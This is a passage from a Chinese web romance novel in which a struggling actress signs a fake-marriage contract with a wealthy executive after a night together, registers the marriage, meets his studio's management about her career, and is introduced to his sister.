迟昼步履沉稳,抱着凌书寻缓缓穿过人群走出宴会厅,向酒店的服务人员要了张行政套间的房卡,带着她去休息。
到房间门口,迟昼先把凌书寻放了下来,单手扶着她纤细的腰肢,用房卡打开门。
他看着倚在自己肩膀的女孩,轻声安慰:“你先进去休息,我去帮你找个医生。”顿了顿,“别怕,有我在。”
凌书寻抬起迷离的眼睛看着迟昼,很听话的“嗯”了一声,走进房间。
迟昼替她关上房门的那一刻,忽然被一股力道阻止。
他看到凌书寻的双手抓在门沿,指关节因为用力而发白,正倔强的看着自己。还没来得及问怎么了,凌书寻抓着他西装的衣领,靠着迸发的一股蛮力将他拽进了房间里,关上了门。
凌书寻双手环绕着他的脖子,把迟昼抵在墙壁。此刻,她整个人又变的软绵绵的,几乎完全挂靠在迟昼的身体,执拗地抬头看他。
房间里只有一盏壁灯亮着,光线很暗,但她的眼睛却像闪烁的星子。
如此安静的环境里,迟昼听见了自己心跳的声音。
他忍不住回抱她,低头吻在她的唇角。
但凌书寻的回应,远比他想象的要热烈。
她对着他的唇齿攻城略地,纤长白皙的手指不安分的解开他的衬衫。
迟昼微怔,耳尖又在发烫。但幸好,他的理智依然占据着上风。
迟昼握住了她的手,看着她的目光晦涩不明,声线染上几分沙哑:“你要做什么。”
“今晚……”凌书寻抬头,卷曲睫毛下是明亮的眼神,却带着欲.望的火苗。
她的声音变的甜腻而诱惑:“再帮我一次,好不好?”
迟昼眼帘轻垂,喉结上下起伏,连呼吸都带着克制:“你要我怎么帮你……”
她眨眨眼睛,美艳的面孔凑得更近了一些,两人的呼吸已经缠在了一起。
凌书寻温软的双唇再次覆了上来,掠夺掉他全部的呼吸,转而继续向下,轻轻擦过他凌厉的下颌与滚动的喉结,最终在精巧的锁骨处留下点点烙印……
迟昼手臂一紧,修长结实的小臂托住她臀下,将她的双腿托离地面。抱着她走向床榻,灼热的吻回落在她耳垂与颈窝细嫩的肌肤上。
最终,她的身体陷入一片洁白松软。
他覆身上来,指骨分明的手指抚过她艳丽的脸,动作缓慢而轻柔。
随即他的吻落了下去。
空气里只剩下交缠的气息。
-
迟昼已经很久没有做过梦。
八岁那年的一个深夜,他从熟睡中被佣人叫醒,此后的二十年里,他会在每个午夜准时醒来,可是再也没有做过梦。
可是昨晚他竟然梦到那个雨天。
她抱着他的小臂的手微微颤抖,眨着湿漉漉的眼睛说,救我。
迟昼睁开眼睛。
清晨微弱的日光穿透白色的窗纱,轻柔地落在床榻。他低头,看到凌书寻伏在自己的臂膀上。
她乌黑蓬松的长发带着蜷曲的弧度,安静散落在脸侧,乖顺的像它的主人。
迟昼静静地看着她。
肌肤细腻冷白,底下又透出气血的红润;浓密的睫毛长而翘,高挺的山根流畅连接着鼻梁,唇珠如车厘子般丰润殷红。
他想看的再仔细些,不料对上了她琥珀一般清亮的眼睛。
凌书寻瞪大眼睛迅速起身,双手还不忘揪过身下的被子挡在胸前,鼻翼两侧升起了绯色的轻云。
她眼帘半垂,嗓音比之前弱了许多:“早安,迟老板。”
迟昼没有言语,起后身利落的套了一件浴袍,松散的系住腰间后打电话给钟俊,让他带着两套换洗的衣服来。
被问到尺码,他扫了一眼凌书寻,“M码。”
还挺准。
凌书寻暗想,他到底看了多少女人的身材,才会只消一眼就能准确地得出自己的size。
可是,他昨晚的一切,如此热烈而又全无章法,并不如她原本所以为的一样。
看他挂断电话后,凌书寻试探的问:“那……你会对我负责的吗?”
他握着手机翻阅消息的动作顿了一下,转而继续:“会。”
迟昼站在床侧,只裹着一件浴袍,露出那紧实饱满而又不过分夸张的胸肌,正散发着独属于男性的荷尔蒙,而低头看着她的脸色平静无波:“除了昨天答应你的条件,我会再给你五十万作为补偿。”
凌书寻的嘴角压不住了。
她昨晚的记忆完整的存在,所以发生任何的事,她都一清二楚。
是她在酒精和药力的作用下情难自抑,主动勾引迟昼上了床,刚刚也不过试探性地问一句,想了解他的态度。没想到迟昼这人是真能处!
迟昼捡起她散落在地上的衣物,简单理了一下放在床尾:“等会钟俊会带着衣服和协议过来,你换好后,我们再走。”
凌书寻点点头:“那签约的事?”
“下午我会带你去扶光,商讨签约相关的事宜。”
凌书寻本来昂头看着迟昼,忍不住打了一个哈欠,困意再次袭来。
迟昼见状蹙眉:“我说话很助眠?”
明明昨晚折腾到了后半夜才睡,生物钟却在7点钟就准时醒来,她现在还是有些困倦,甚至腰部还感到隐隐酸痛。
“是我昨晚没休息好……”
凌书寻的脑子里不自觉浮现起昨夜的画面。
她双唇啃噬着迟昼修长的脖颈,纤细白皙的手指从迟昼滚动的喉结缓缓划过,一路向下,掠过他胸前紧实的线条,轻抚着腹部块垒分明的肌体和腰线。
这个迟昼,不仅颜值清隽,身材居然也很不错,躯体上是常年健身和自律留下的深刻印记。
“你的脸。”他挑挑眉。
凌书寻只觉得自己整个面部都像着火一样滚烫,她立刻躺下盖住脑袋:“我再睡一会,等钟俊到了你叫醒我。”
迟昼俯下身,骨节分明的手抓住她盖的羽被,向下轻拽,她的脸从里面露了出来。
“要练习憋气?”他淡声道。
凌书寻闭着
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眼睛不做声,只感觉到他高大挺拔的身影落下来,把自己笼罩起来,那股雪松的味道近在咫尺。
迟昼看到她睫毛在翕动,红润的唇抿成一条线,而她自己没有察觉。
他轻笑出声。
-
凌书寻再次睁开眼睛的时候,已近九点。
枕边被摆放着两个大号的黑色的珠光纸袋,上面贴有一朵立体的白色山茶花,提绳下方系着印有logo的丝带。
迟昼已经换了一套全新的黑色西装,依旧挺括有型,白色衬衫妥帖的收束在西裤。他正坐翘腿在沙发上处理工作,西裤利落的中线在裤脚处尖尖翘起,彰显着不菲的身价。
“醒了?”他抬眸。
从凌书寻的视线里,他眉眼的锐利淡了几分,带着漫不经心的冷淡。
她不由得在心里感叹,这男人的品相还真是人间难得,长这么好看。
凌书寻看看他,又看看那两个纸袋:“这是给我的衣服?”
“穿上,我让他们送些吃的。”迟昼放下手上的平板,拨通了客房电话。
凌书寻打开纸袋,拿出里面的东西。
这是一套香家的高级成衣,面料舒适上乘。上衣是闪亮的银色刺绣凸花蕾丝,搭配一件白色丝质双层透纱小斗篷,带着黑色绸缎系带;下装是一条白珠绣丹宁长裤,裤脚上围着一圈轻盈的流苏。
整套搭配灵动而优雅,穿着果然极其合身。
贵的东西果然是好看,凌书寻站在镜子前反复欣赏自己。
这一身加起来起码都要六位数,顶她好几部戏的片酬。自己这种十八线演员收入低微,无论如何都不会舍得买这种价格的衣物。
等收拾完后,客房服务人员正好也推来了早餐。
凌书寻坐在餐桌前,看着他们把餐碟一一摆上。有传统中式的早点和豆浆粥品,也有三明治、华夫饼等,也准备了咖啡牛奶。
“请慢用。”穿着酒店制服的服务人员整齐划一的鞠躬,退出了套间。
房间里又只剩下两人。
凌书寻的视线越过宽大的餐桌,落在对面男人身上:“衣服很合身,谢谢。”
迟昼喝着咖啡,依然在处理着工作,只淡淡“嗯”一声。
看来这位迟总还真是个工作狂。
吃完早餐,迟昼递过来了一份协议:“没其它问题的话,就签字吧。”
凌书寻仔细翻阅,协议上面条款和解释都十分详尽,她只着重看了几条自己最关心的:
有效日期两年,到期后由迟昼决定是否续约。
协议有效期间,凌书寻需要在迟昼的家人朋友面前配合扮演妻子的身份,且不能泄露协议的内容。
迟昼将以扶光影视的名义为凌书寻成立个人工作室。
双方无需进行其他夫妻义务。
很好,凌书寻很满意,于是签下自己的名字。
放下笔的一刻,她忽然想到,其实最后一条根本站不住脚,毕竟在签订下协议之前,就已经做了一些义务之内的事……而且,她竟然还觉得他很不错。
在她还在胡思乱想的时候,迟昼已经收起协议起身:
“走吧。”。
凌书寻眨眼:“去哪?”
“领证。”
5. 第 5 章(修)
凌书寻本来还以为需要排队。
出乎意料的是,周六上午的民政局竟然空荡荡的,干净明亮的大厅里几乎只有工作人员。
把证件交给工作人员后,两人去拍照。
站定后,凌书寻悄悄看了一眼旁边的迟昼,发现他竟然比自己高出大半个头。
啧,这身高绝对185以上。
他单手插兜,站姿随意散漫,双腿修长让人忍不住想多看几眼。
凌书寻抿抿嘴唇。
摄影师在镜头后一直摆手:“你们怎么离这么远?站近一点,再凑近一点……”
凌书寻向迟昼挪进一步,身体站直,微笑看向镜头。
摄影师依然不满意:“男方怎么一直面无表情?今天可是你们人生中最重要的日子,快笑一笑。”
旁边的工作人员原本正核对着证件,听闻摄影师的话,也抬头狐疑地看了一眼二人:“是自愿结婚的吗?”
“那当然了!”凌书寻立刻回答。
只需要一张结婚证,就能换来两年资源,成为一线女明星,挣到很多很多的钱,她百分百自愿!
她挽上了迟昼的手,带着微笑的表情,脑袋轻轻一歪,靠到迟昼的肩膀:“我老公不笑,是因为他生性就不爱笑。”
迟昼无奈看了一眼身边的人,唇角却微微翘起一点弧度。
“你们这一对新人颜值也太高了,是明星吗?”摄影师看着取景框,却被相机屏幕外的二人所吸引了视线,不自觉发出感叹。
女生言笑晏晏,原本清冷白皙的脸被周围的红布衬上浅浅的云绯,像一朵娇嫩的百合;男生一身清贵之气,颀长挺拔长身玉立,嘴角勾着一点似有若无的弧度,十分登对。
“好!就这样!”摄影师按下快门。
从民政局出来的那一刻,凌书寻仍觉得像在梦里。
但手里那本发亮的结婚证在提醒她,一切都是真实发生的。
自己这就结婚啦?
还是和一个这么有钱有势还有颜的男人。
以前做梦都不敢想的霸道总裁,此刻正站在她身边。
凌书寻跟在迟昼身边走向停车场,手里把玩着刚领的结婚证,想到刚刚大厅的空旷,随口问道:“今天怎么没人来领证呢?迟老板,是不是你动用了钞能力?”
“没有。”
“那怎么会只有我们来?”她继续问。
“或许是因为,”迟昼顿了顿,瞥一眼身旁的人,“今天不宜结婚。”
凌书寻疑惑地抬头看他,一时没弄明白迟昼的意思,思索一会后才想到要看看老黄历,于是掏出手机。
屏幕里显示着四个字:
“诸事不宜?!”
凌书寻瞪大眼睛愣愣站在原地,不愿相信这个消息:“迟昼,你早都知道了?那干嘛还带我来领证!”
虽然是假结婚,可这毕竟也是她第一次领证,难免会重视。毕竟以前拍戏都没拍过这样的戏份呢。
看到“诸事不宜”四个字,凌书寻心中一紧,所有积极的情绪都在此刻荡然无存。
走在前方的迟昼停下脚步。
高级定制的西装完美衬出他挺拔高大的身形,春日的阳光照在他身上,似乎融去了几分清冷。
他转头看着凌书寻,淡淡说道:“我不信这些。”
“我只信,事在人为。”
-
刚坐进劳斯莱斯宽敞的后座,迟昼又拿起平板开始处理工作,定了定,又抬头对钟俊说:
“让姜明杰带几个他手下得力的人,下午到我的办公室。”
“是,迟总。”
迟昼看向凌书寻,眉眼处透着散漫:“如果你没有其它安排,可以一起来。毕竟,事关你的星途。”
她摇摇头,乌黑的长发随着动作而轻轻晃动,“我可以现在就跟你一起去办公室吗?”
作为没车一族,凌书寻不想来回坐地铁折腾,只想省事。
“随你。”迟昼视线看向车窗外。
车子一路平稳的驶进迟翡集团地下停车场,钟俊停稳后替后座的迟昼和凌书寻打开车门。
乘着总裁专属电梯,凌书寻来到了迟翡集团大厦的顶层——迟昼的办公室。
办公室占据了半层楼的面积,几乎整面都是玻璃。
室内的色调以黑白灰为主,进门是一处岛台,正中心有两条深灰的进口真皮沙发,一张浅灰的玻璃茶几,泛着凛冽的光;一张宽大的胡桃木办公桌上,除了显示屏和电话外没有任何摆件,后方是整面墙的书柜,财经与外文书籍高低错落。
旁边还有一扇深色木门,不知通向哪里。
打过招呼后她在顶层随处转了转。
另外半层是秘书和特助的办公室,另有一个小型的健身房,摆放着跑步机等几个常见的器材;以及一间规格极高的会议室,还有一间酒窖,一间水吧等。
凌书寻暗暗吐槽,普通打工人只能挤在小小的格子间里,迟昼一人的办公空间就有几百平,还安排了各类配套,资本家真是会享受!
她在深灰的沙发上坐了下来,随即被它的温厚和柔韧所承接,身体极为舒适。她的指尖不自觉划过细腻温润的皮质,轻声问:“这个沙发是不是很贵?”
过来送果切的女秘书听闻微微一笑,放下托盘后礼貌地回答道:“这是迟总定制的意大利进口家私,采用的最顶级的头层牛皮和实木,手工缝制,每张沙发价格在100万左右。”
凌书寻:“……”
她暗暗决定今天一定要多坐一会这个沙发。
斜倚在舒服的靠背上,手肘支撑着额头,凌书寻抬头看着不远处的迟昼。
他脊背挺直,专注地翻阅着手中的文件,清俊的面容沉静而冷淡,仿佛世间一切都与他无关。
还真是一个工作狂。
凌书寻在心里下结论。
午饭是秘书问过两人的意见后,在旁边的五星级酒店订的西餐。
银色的餐车推进来,打开盖子后两块牛排依然在“滋滋”冒着油花,诱人的香气扑面而来,令人食指大动。
“好香啊!”凌书寻不禁感叹道,拿起刀叉刚想动手就意识到什么,冲着坐到对面的迟昼灿然一笑:“迟老板先吃。”
迟昼抬眸看了她一眼:“想吃就吃。以后不用在意这些。”
“等的就是您这句话!”
凌书寻立刻开动,切好牛排就往嘴里送,她只想趁着没进组的时候,多吃几口好吃的食物。
七分饱,她就自觉地放下刀叉,而后抬头看着对面的人。
迟昼吃饭时也慢条斯理,切牛排的动
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作却又干净利落,一举一动莫不优雅从容。
“在看什么?”他突然开口。
“咳,欣赏迟老板的颜值罢了。”凌书寻笑眯眯回答。
“贫嘴。”迟昼声线冷淡,耳廓又染上丝丝的红。
-
下午两点钟,钟俊敲门进来:
“迟总,凌小姐,扶光影视的柴明杰一行人到了,已经安排在会议室。”
迟昼点点头,起身后看了凌书寻一眼,她立刻识趣的跟了过去。
明净的会议室里长桌锃亮,投屏已经打开。
除了柴明杰外还有另外一女两男,全身都拘谨着,面色难掩紧张。见迟昼过来,一起跟着柴明杰起身问好。
迟昼微微颔首,目光扫过几人,在最后的男人身上停留一瞬,随即落在柴少杰身上:“直接开始吧。”
柴少杰再度起身,“好的,迟总。”
他打开准备的PPT,心脏紧张的砰砰直跳,唯恐这份方案做得不够好。
钟俊特助通知他的时候,已经是上午十点半了,他甚至来不及惊讶,只能第一时间接受对凌书寻“力捧”的指令。
所以这份有关凌书寻的“造星计划”从开始到出炉,满打满算也不过两个半小时,也是对扶光影视能力和效率的考验。
柴少杰默默咽了一口口水,语气恭敬:“我们根据凌小姐过往的表演经历,先做了简略的分析。”
“凌小姐的外形条件毫无疑问,不仅明艳,还有很少见的清冷书卷气,两者结合让人过目难忘,在圈内女星中完全属于TOP级别。”
“尽管凌小姐并不是科班出身,但是在过往参演的影视剧中的表现仍然值得肯定,可塑性很强。”
“目前最大的短板,是知名度的问题。凌小姐在大学选秀出道以后,所签约的经纪公司并没有给予足够的资源,导致她渐渐流失了很多人气和曝光度。”
凌书寻坐在迟昼身边,双手交叠置于膝上,显得安静而认真。
听到最后一句后,她不自然的移开了视线——
其实不能全怪前公司。
她喜欢拍戏体验不同的人生,然而刚毕业时是恋爱脑,为了前男友放弃了很多工作机会,自己没有把握住事业,怨不得别人。
凌书寻现在更想扇当初的自己一巴掌,再晃着她的肩膀大声说:“男人不值得!你清醒一点!!!”
迟昼静静听着,手指轻叩桌面。他微微侧脸,瞥了凌书寻一眼,便注意到她不自在的表情。
他的视线重新回到柴少杰身上,语气平淡的开口,却带着不容置疑的命令感:“以扶光现有的资源,怎么执行?”
“我要看到效果。”
柴少杰向下翻阅PPT,谨慎的开口:“目前,有两个资源非常适合凌小姐。”
“第一个是顶流综艺节目《桃源乡》的飞行嘉宾。”
“第二个是电视剧《烈焰》的女二号,这部剧扶光有投资,戏份和高光可以保证。”
《烈焰》?
凌书寻忽然觉得有些耳熟。似乎就是路演时那两个工作人员讨论的。于是问道:“音极娱乐是不是也投资了这部剧?”
柴少杰点点头:“是的,目前女主角的人选是林露。”
“凌小姐,您愿意为林露做配吗?”
6. 第 6 章(修)
柴少杰话音刚落,就觉得自己身上汗涔涔的。
他似乎不该问这个问题。
是迟昼要捧凌书寻,以他掌权人的身份和能力,怎么会允许自己看中的人做配。
柴少杰总觉得,自己在面对迟翡这位年轻的总裁时,有一些莫名的惶恐。
他过去几十年的人生里,见识过形形色色的人,经历过大小不一的风浪,遇事都能不动声色。
成为扶光影视的总经理后,也很少有机会来集团的总部,更别说像今天这样,面对面的跟迟昼汇报过工作。
也许是因为迟昼凌厉冷淡的眉眼,亦或许是那份难以企及的气质,都在无声的散发着独属于顶端上位者的压迫之感。
在这沉默的时刻,柴少杰绞尽脑汁的在想该怎么找补,才算没有拂了迟昼的面子。
忽然,一道平稳的女声响起:
“迟总、凌小姐,《桃源乡》这档综艺目前是顶流,很多艺人挤破头都想录制。虽然目前只能作为一期的飞行嘉宾,但也能获得很大的流量。”
坐在柴少杰身边的中年女人继续说:“《烈焰》的女二号角色发挥空间很大,有不少高光时刻。而且前期和男主互动的戏份很多,人设比较讨喜,我相信能让观众记住和喜欢。”
“热搜词条和反黑预案我也会提前准备,确保能提升凌小姐的人气。”
听到迟昼的手指轻轻叩响桌面,柴少杰才回过神来,连连点头:“没错没错。迟总,这是我们扶光目前的金牌经纪人——白明芳,以后专门负责凌小姐的演艺事务。”
“嗯。”迟昼的语气听不出情绪,只侧过脸看向凌书寻:“你觉得如何?”
“我愿意。”她迎向迟昼的目光。
柴少杰倒愣了一下。
他没想到这个女孩答应的这样爽快,没有丝毫矫情。柴少杰原以为,她会像自己所见过的那些恃宠而骄的女生,对着自己的“金主”撒娇赌气,去争女主角。
但眼前的这个,似乎不一样。
她年轻的脸上,盈盈双目顾盼流转,表情淡然中又带着一点不属于圈内的懵懂,好像一点都不怕迟昼。
有一瞬间,柴少杰觉得他们像是一座清冷的雪山和一条潺潺的溪流,她流经他的身旁,带给他泠泠的水声;他敲落自己终年不化的积雪,缓慢的融进了她的身体。
而凌书寻嘴角含笑,看着柴少杰又说了一遍:“我愿意出演林露的女二号。”
迟昼看向她的眼神深邃难辨,几秒后,收回目光,对着柴少杰和白明芳说:“那就这样。”
“还有。”他声音散漫:“给凌小姐成立个人工作室,也不需要给扶光抽成。她工作室所有工作人员的薪酬福利,走我的账户。”
凌书寻一怔,抬头看向他。
迟昼神色未变:“合同,今天核对好签字。”随后站起身,气场迫人,“时间节点卡死,我要看到预期回报。”
说罢,他率先离开了会议室。
在场的所有人都明显松了一口气。
凌书寻正想追过去,柴少杰先站起来叫住了她:
“凌小姐。”
然后冲着坐在最远处那个一直沉默的男人使了个眼色。
男人低着头慢吞吞地走过来,步伐沉重。站在柴少杰身边后,才低声开口:“凌小姐……我……我跟您道歉……对不起……”
柴少杰也低头赔笑:“是我疏于管教,让我这侄子在公司狗仗人势。今天特意把他带过来跟您赔礼道歉,希望您别生气,也别和他计较。”
凌书寻饶有兴趣的抬头,漂亮的桃花眼微微眯起,一时没有说话。
空气安静几秒。
“如果我就要计较呢?”她的嘴角勾起一丝玩味的弧度,声音很冷。
柴少杰讪笑道:“那也是应当的,您说怎么惩罚他,我都照做。”
凌书寻盯着两人看了几秒。
正在他们心里发毛之际,她才笑着吐息:“开个玩笑。”
“你要搞裙带关系我管不着。不过,以后不要让我看到他欺负其他小艺人。”
“是,是。”柴少杰点头,“我已经在开会命令禁止,以后绝对不会再出现这种情况。”
凌书寻瞥了他一眼,没再做声。
一直敲着笔记本的白明芳抬起头看向她:“凌小姐,合同已经改好了,我打印出来给您看一下。”
白明芳从桌上的打印机拿出合同,整理过后双手递给凌书寻。
凌书寻细细看过,签下了自己的名字,又指着两处空白问道:“这里是需要迟总签字吗?”
白明芳点头。
“好,那我去找他。”凌书寻拿着合同离开会议室。
走到门口,好像又突然想起什么,转头对着白明芳露出一个灿然的笑:“白姐,麻烦你帮我找个合适的助理哦。”
-
回到总裁办公室门口,凌书寻敲了敲那扇敞开的玻璃门。
宽大的办公桌后,迟昼正垂眸看一份项目收购评估报告,指尖偶尔划过纸张,发出细微的沙沙声。
午后温和的阳光透过百叶窗,在他轮廓分明的侧脸投下明暗交错的线条。
凌书寻拿着合同走近。
迟昼头也未抬,只将手边一份摊开的文件往自己方向挪了寸许,空出了桌沿的位置。
凌书寻嘴角微翘,读懂了这个无声的邀请。
她将待签的合同放下,手肘撑在桌沿,俯身看着他正在审阅的报表。
不远不近的距离,恰好能看清纸上紧密罗列的数字和图表,而他身上那份清冽的雪松的气息也再次飘进了她的鼻尖。
“感兴趣?”
“有点好奇。”她如实回答。
她本科是文学类的专业,毕业以后就正式进入娱乐圈。报表上复杂的术语和财务数据,对她而言实在是陌生。
看着这些未曾接触过的东西,凌书寻才忽然意识到,好像自己压根就没正式上过班……
黑金钢笔在迟昼骨节分明的手指上转了一圈,目光再次抬起:“去拿把椅子坐。”
凌书寻听话的从岛台处搬过来一把椅子,坐到了距离迟昼一个身位的距离。
“离这么远是怕我吃了你?”他乜她一眼,“坐近些。”
“哦。”凌书寻起身挪挪椅子,靠的更近了一些,他的气息已经将她笼罩起来。
“这份方案,协同效应被高估,整合风险被低估。”迟昼低沉的声音响起,钢笔尖点在市场分析报告上。
“Casa Bella是一个意大利生物公司,他们的核心市场在欧洲,而迟翡的强项
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在亚太地区。两个渠道看似互补,实则‘消化不良’的风险很高。”
凌书寻顺着他的话,尝试理解:“所以,两个好品牌加在一起,并不一定会变得更好。”
“没错。如果在市场、供应、营销以及其它什么资源的重叠部分太小,或者为了整合投入的成本远大于创造的新价值,这就是一笔失败的买卖。”
凌书寻眨眨眼睛,觉得迟昼这些话似乎放在任何领域皆准。
她的视线不自觉地落在报告最后,那个长的令人咋舌的收购金额上。
又是一个一辈子都挣不到的数字。她在心里叹口气。
迟昼撇下手上的收购报告,从旁边拿起了凌书寻带来的合同,翻阅过后流畅地签下自己名字。
“对了,迟老板。”凌书寻看着那跃动的金色笔尖,突然想到他在会议室说的话,“关于工作室员工薪酬的事,你不用再破费了。我有资源以后,就能负担得起了,大不了自己少挣一点。”
迟昼放下笔,把签好的合同递向她,眼神冷冽:“一个工作室的运营成本而已,对我来说不算什么。”
“可是……”凌书寻想说,他给予的已经够多了,资源、名利、尊重、酬劳……这些在过去,都是她不敢想象的。
就在她伸手接过合同时,意外发生了。
她的手肘一动,带倒了迟昼桌边的咖啡杯。
尚有温度的深棕色咖啡液倾撒,在胡桃木的桌面上不断延伸,变成一片深色的污迹,浓烈的咖啡香气弥漫开来。
“啊!”她轻讶。
空气骤然凝固,只有咖啡滴落桌面的声音,更有几滴液体在飞溅时落在了迟昼西装的袖口。
“对不起!迟总!” 她慌忙起身,抓起桌上的纸巾,就要去帮他擦拭。
迟昼反应很快,猛地抬手扣住了凌书寻拿着纸巾的手腕。
他的手掌温热有力,带着不容挣脱的力道,瞬间制止了她的动作。
凌书寻僵住,抬眼看向他。
“别碰。”他的声音依旧低沉平稳,“热咖啡,越擦越糟。等会儿会有人清理的。”
迟昼松开她的手腕,慢条斯理地解开被弄脏的西装外套纽扣,动作依然沉稳优雅,仿佛那灼热的咖啡渍不存在。
“把合同拿过去,让浮光的人盖章。”他把西装脱下,随手搭在椅背,身上白衬衫依然妥帖,只是袖口脏污明显。
“后面是衣帽间,我先去换件衣服。”
“等下!”凌书寻叫住迟昼,轻轻抓起他的手。
咖啡有点烫,迟昼白皙的手背上已经泛起一小片淡红。凌书寻用纸巾慢慢擦拭掉沾在上面的咖啡。
啪嗒——
门口突然传来一声动静。
两人停下动作抬头看去。
一个年轻的女孩正站在办公室门口,原本该在她手上的玫红色Kelly手袋,正躺在明净的地板上。
女孩一头栗色的长卷发,妆容精致,皮肤白皙姣好,浅紫色的连衣裙衬得她身材愈发曼妙绰约。
此刻,她漂亮的脸上满是惊讶,嘴巴微张,不可思议地看向他们,呆滞的目光反复在二人身上游移。
半晌,她才终于发出声,嗓音带着丝丝颤抖:“迟昼……你……”
“你真的包女明星了?!”
7.第 7 章
昨晚,迟星和小姐妹们的微信群里炸开了锅。
有人说在宴会上看到了迟昼,还带着一位关系十分亲密的女伴,似乎是个小明星。
女明星?还关系亲密?绝对不可能!自己哥哥是什么样她能不知道?
自打她记事起,迟昼就没什么女性朋友。在学校时,虽然总会有源源不断的女生或明或暗的对他表示过好感,但无一例外不是铩羽而归。这些女生中也不乏家世好或者过目难忘的美女,但迟昼八风不动。
更何况是什么“小明星”,哪里入得了他的眼。
后来她也尝试过把自己条件不错的小姐妹介绍给迟昼,但通过微信后他没有主动聊过一句,满屏的“嗯”“哦”“不用”击退了美女们的热情。
迟星一度怀疑,他是不是性取向有问题,但得到的回答只有迟昼凛如寒冰的眼神,让她在炎热的夏日也忍不住打了个激灵。
迟星对群里人的说辞自然不信,可时不时有人艾特自己询问状况,她也懒得再解释,只关掉手机早早睡觉倒时差。
再次睁开眼睛时已到中午。
迟星和父母吃过午饭后闲来无事,便决定开车兜兜风,顺便去集团看看迟昼。
刚走到办公室门口,就看到一个陌生的女人正拉着迟昼的手,虽然两人都没有说话,但视线交汇,难舍难分。
迟星真的惊呆了。
以至于她手一松,包包都“啪”的一声掉在了地上。
迟昼转头看向迟星,眉头微蹙,问道:“什么时候回来的?”
“昨天晚上。”
“课程都完了?”他继续问。
“已经正式毕业了。”迟星走近些,上下打量那个陌生而美丽的女人,“哥,这是谁?”
迟昼没有回答她,而是淡淡对凌书寻说:“你先去处理你的事情。”
凌书寻似乎并没有介意迟星刚刚那句有点冒犯的话,对她露出一个随和友善的微笑,那双漂亮的桃花眼微微弯曲,素净脸上有种不惹凡尘的气质,说不出的好看。
迟星悄悄吞了一口口水。
迟昼拨通电话让秘书送茶水进来,自己去衣帽间换了身衣服。
随后坐到沙发上,拿起清润的白玉瓷茶盏,开始慢悠悠喝茶。
“哥,那女的到底是谁啊?”迟星凑到他身边,“昨晚我小姐妹说看见你和女伴关系亲密,就是这个?”
迟昼眸光轻瞥她一眼:“怎么了?”
“怎么了?你还问我?”迟星瞬间直起身体,“爸爸说你拒绝了秦欣宜,是为了她吗?”
她自顾自的继续念叨:“唉,我还挺喜欢欣宜姐的,长得漂亮性格又好,最关键的是家境也好,哪是什么明星能比。”
“聒噪。”迟昼放下茶盏。
“哥,你快告诉我呀!”
“我结婚了。”
咣当——
迟星手里的杯子也掉到了地上。
幸好沙发下铺着一条宽大的羊绒地毯,杯子才躲过一劫,逃脱四分五裂的宿命,淡青的茶水全部撒了出来,洇成一朵无规则的花。
她知道自己此时的表情一定很滑稽,所以迟昼往常冰山一样的脸上才会露出这样的表情。
他眉眼轻扬,唇角勾起,发出一声短促的笑。
“好啊,我就知道你在逗我!”迟星恼羞成怒,抓起沙发上的一个抱枕就要砸向迟昼。
就在要接触到的瞬间,迟昼眼疾手快抢过了抱枕,扔到对面沙发后说道:“没骗你,我真的领证了。”
迟星愣了一下:“什么时候?爸妈知道吗?”
“今天上午,还没有告诉任何人。”
“为什么突然悄悄领证?”迟星不解,“你和她怎么认识的?打算什么时候告诉家里?办不办婚礼?”
面对这一串连珠炮一样的提问,迟昼只翘起长腿怡然喝茶,不回答。
“你想急死我啊!”迟星简直要抓狂了。
“不会办婚礼,等到合适的时候就会知道。”
迟星知道再问他也不会回答了。从很小的时候开始,迟昼有任何事都不会跟别人分享,无论好坏都一个人默默吞咽,更何况他和父亲以及她的母亲关系都不太好。
也许没人能走进他的心里。
迟星轻轻叹了口气,换了个话题:“下下周就是爸爸的生日了,不过他说今年只是59岁的生日,所以在家里办就OK,到时候叫亲朋好友来,简单聚聚就好。哥,你记得要回来哦。”
迟昼不置可否。
他想到一个有趣的事情。
-
凌书寻回到会议室的时候,里面只剩柴少杰和白明芳两个人。
见她过来,起身颔首。
她把迟昼签完的合同交到白明芳手里。
“辛苦了,凌小姐。”白明芳理完合同放进文件夹,装进包里后接着说,“回公司后我会安排一个助理兼执行经纪,所有通告都跟你一起去。”
“《桃源乡》的通告是在下周末,需要录制两天,我会让人帮你订下周五的机票。《烈焰》下个月开机,到时候我会再通知你。”
“这几天公司会安排团队,给你拍摄几组写真。”
凌书寻笑着回应:“谢谢白姐,以后叫我的名字就好。”
“好,书寻。”白明芳也笑了,眼角有淡淡的皱纹,却显得更加和善一些,“有什么问题就随时联系我,我24小时为你待命。”
凌书寻没来得及再说什么,听到一声轻咳。
白明芳的身体似乎僵了一下,随即她又笑着看向柴明杰:“柴总,您还有什么指示或者话要说?”
“该说的,不该说的,你都说的差不多了。”
“您说笑了。”白明芳依然微笑。
柴明杰摆弄着一只打火机,抬头对凌书寻说,“介意我抽根烟吗?”
“介意。”凌书寻微笑回应,“要抽去楼下吸烟区。”
柴少杰愣了一下,正摸出烟盒的动作戛然而止,随后不情不愿的收起了打火机。
“要是没什么事情的话,你们也先回去吧。我就不送了。”凌书寻摆摆手。
办公室里,迟星正在和迟昼讲述留学时的趣事,她自己先笑的花枝乱颤。
见凌书寻回来,迟昼抬眸:“事情都处理完了?”
“嗯。”凌书寻坐在迟昼对面,倚着
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他刚才扔过去的靠枕,舒服的呼气:“下周五会去赶通告,预计两天后再回来。”
她好奇地看看迟星:“这位是?”
“我是他妹妹迟星,刚从国外读书回来。”迟星自报家门,那双圆圆的杏眼看着凌书寻,“你呢?”
“我叫凌书寻,是扶光影视的艺人,也是——”她看向迟昼,在他微微颔首的示意里了然,勾起一抹笑容继续说道:“你哥哥的老婆,你的嫂子。请多指教咯。”
迟星暗自翻了个白眼,语气中带着一点探询:“你们是什么时候认识的?怎么之前从没听我哥提起过你。”
“嗯……这个嘛……”凌书寻微微后仰,视线开始游移。
在这几秒钟的时间里,她的大脑在飞速运转。能怎么办?总不能说才认识三天吧,也不能说是她在大街上乱撞才认识的吧?!都怪迟昼,他怎么就没有事先想到这些问题,和自己对齐一下颗粒度?现在好了,害得她现编!
凌书寻只能回答的模棱两可:“也不是很久啦,主要是我们情投意合,所以感情发展的比较快。”
很好,她简直又要被自己的机智折服了!
在迟星半信半疑的表情里,凌书寻决定先溜为快。要是再待下去,说不定迟星还会问出什么问题,要是答不上来就麻烦了。
她恋恋不舍的从意大利进口沙发起身:“你们忙,我就先回去了。”
“我送你回去。”迟昼长腿一迈便追上了她。
迟星在后面叫:“Hello?有人考虑一下我的感受吗?”
迟昼向外走,头也不回:“你先回去。”
